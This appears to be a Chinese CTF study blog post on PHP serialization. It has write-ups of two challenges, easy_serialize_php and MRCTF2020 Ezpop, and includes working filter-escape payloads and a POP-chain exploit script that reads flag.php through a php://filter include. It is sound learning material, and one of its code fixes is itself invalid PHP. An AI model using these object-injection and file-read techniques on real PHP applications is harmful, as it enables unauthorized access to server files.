首页 > 其他 > 详细

序列化小结

时间:2021-02-02 11:24:27      阅读:23      评论:0      收藏:0      [点我收藏+]

序列化小结

记一些CTF出现的序列化与反序列化的知识点和题目。

序列化初始

序列化和反序列化的概念

序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

序列化中常见的魔法函数:

__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

举例

	O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符 
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedyui}" 字符串 属性值长度 属性值
i:100 i是数字

序列化中每个字母的表示

a array数组
b boolean判断类型
d double浮点数
i integer整数型
o common object 一般的对象
r reference引用类型
s string字符串类型
C custom object
O class
N null
R pointer reference
U unicode string

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名

就像这样

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化

ctf中序列化考点

通常,做序列化题目,如果源码只是反序列化,一般是需要构造pop链为好,如果是由序列化又有反序列化,可能是序列化绕过

序列化逃逸

原理:

大概就是利用客户端可控参数,伪造成型的序列化结构,来挤出不需要的属性值

条件:

  • 有能够过滤字符串的函数,帮助我们减少我们像去掉的位置
  • 我们有能控制的属性
  • 源码有序列化和反序列化

题目:[安洵杯 2019]easy_serialize_php

 <?php

$function = @$_GET[‘f‘];

function filter($img){
    $filter_arr = array(‘php‘,‘flag‘,‘php5‘,‘php4‘,‘fl1g‘);
    $filter = ‘/‘.implode(‘|‘,$filter_arr).‘/i‘;
    return preg_replace($filter,‘‘,$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = ‘guest‘;
$_SESSION[‘function‘] = $function;

extract($_POST);

if(!$function){
    echo ‘<a href="index.php?f=highlight_file">source_code</a>‘;
}

if(!$_GET[‘img_path‘]){
    $_SESSION[‘img‘] = base64_encode(‘guest_img.png‘);
}else{
    $_SESSION[‘img‘] = sha1(base64_encode($_GET[‘img_path‘]));
}

$serialize_info = filter(serialize($_SESSION));

if($function == ‘highlight_file‘){
    highlight_file(‘index.php‘);
}else if($function == ‘phpinfo‘){
    eval(‘phpinfo();‘); //maybe you can find something in here!
}else if($function == ‘show_image‘){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo[‘img‘]));
} 
  • 第一种关键词增加(即词数增加)

  • 第二种关键词减少(即词数减少)

    还有一个层面的逃逸

  • 键逃逸

    这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对

    _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
    
  • 值逃逸

    这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

    _SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
    

从题来看

filter是个过滤函数,能够将黑名单的字符串删除,这就给了我们逃逸的机会

extract覆盖了两个属性,我们能够自定义属性,虽然控制不了img,但是就可以挤出他去

playload

_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

序列化的魔法方法的相互调用

原理:

就是代码审计,要耐心,虽然耐心也不一定能成功

条件:

没啥条件,就看得出来他只给你留一条路,通过魔术方法的调用来实现引用

看题:[MRCTF2020]Ezpop

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file=‘index.php‘){
        $this->source = $file;
        echo ‘Welcome to ‘.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET[‘pop‘])){
    @unserialize($_GET[‘pop‘]);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

这种题的重点是在构建pop链上,只要将pop链构建好,直接贴playload就成功

但pop链怎么构造,需要审计,看哥哥方法之间的联系

就比如说,我们在这里能够最终得到flag的地方只有

public function append($value){
        include($value);
    }

这个include才行

那怎么到include,只有下面的invoke方法

public function __invoke(){
        $this->append($this->var);
    }

invoke是魔术方法,是将类当作函数使用的时候会自动调用

我们能将看到,在test类中有个function是被当作函数使用,所以我们可以赋给function modifier类

而function是p属性赋给的,所以我们赋给p属性modifer类

而调用get方法,需要在test类中调用不存在的属性或别的东西,所以我们可以借助show类中的$this->str->source

使str为test类,source属性不在test中存在,就可以调用get方法,

而如何调用tostring方法,只有在将类当作字符串使用时候,会自动调用tostring

我们可以借用wakeup中的preg_match函数,因为在进行比较的时候,会将$this->source当作字符串使用

那我们如何调用wakeup方法,只有在反序列化的时候会自动调用,所以我们就可以构建pop链了

<?php
class Modifier{
    protected $var=‘php://filter/read=convert.base64-encode/resource=flag.php‘;
    public function append($value){
      include($value);
  }
  public function __invoke(){
      $this->append($this->var);
  }
}
class Show{
    public $source;
    public $str;
    public function __construct($file=‘index.php‘){
      $this->source = $file;

  }
    public function __toString(){
      return $this->str->source;
  }

  public function __wakeup(){
      if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
          echo "hacker";
          $this->source = "index.php";
      }
  }


}
class Test{
    public $p;
    public function __get($key){
      $function = $this->p;
      return $function();
  }
}

$a=new Show();
$b=new Show();
$a->source=$b;
$a->source->str=new Test();
$a->source->str->p=new Modifier();
print(urlencode(serialize($a)));	

构建完,将playload一贴就好了

遇到的问题

  • 被保护的属性被外部调用,结束进程

问题源码

#简化版:
<?php
class A {
    protected $store;
    protected $key;
    protected $expire;
    }
    
$a =new A();
$a->expire=0;
$a->key=‘nidaye.php‘;

问题报错形式:

Fatal error: Uncaught Error: Cannot access protected property A::$expire in D:\phpstudy_pro\WWW\new.php:102 Stack trace: #0 {main} thrown in D:\phpstudy_pro\WWW\new.php on line 102

原因:受保护的属性或方法不允许在外部调用

改进方法:在内部调用

<?php
class A {
    protected $store;
    protected $key;
    protected $expire;
    $this->expire=0;
    $this->key=‘nidaye.php‘;
    }
    
$a =new A();
  • 构建逃逸playload时,用了单引号

    问题描述:在进行逃逸时,使用了单引号作为序列化的闭合符号,结果不行,改成双引号就成功了

    原因:不详

  • 遇到private和protected

    其实高版本的php对于属性类型并不敏感,所以即使用了public去构建序列化,也并无大碍

序列化小结

原文:https://www.cnblogs.com/sipc-love/p/14360204.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!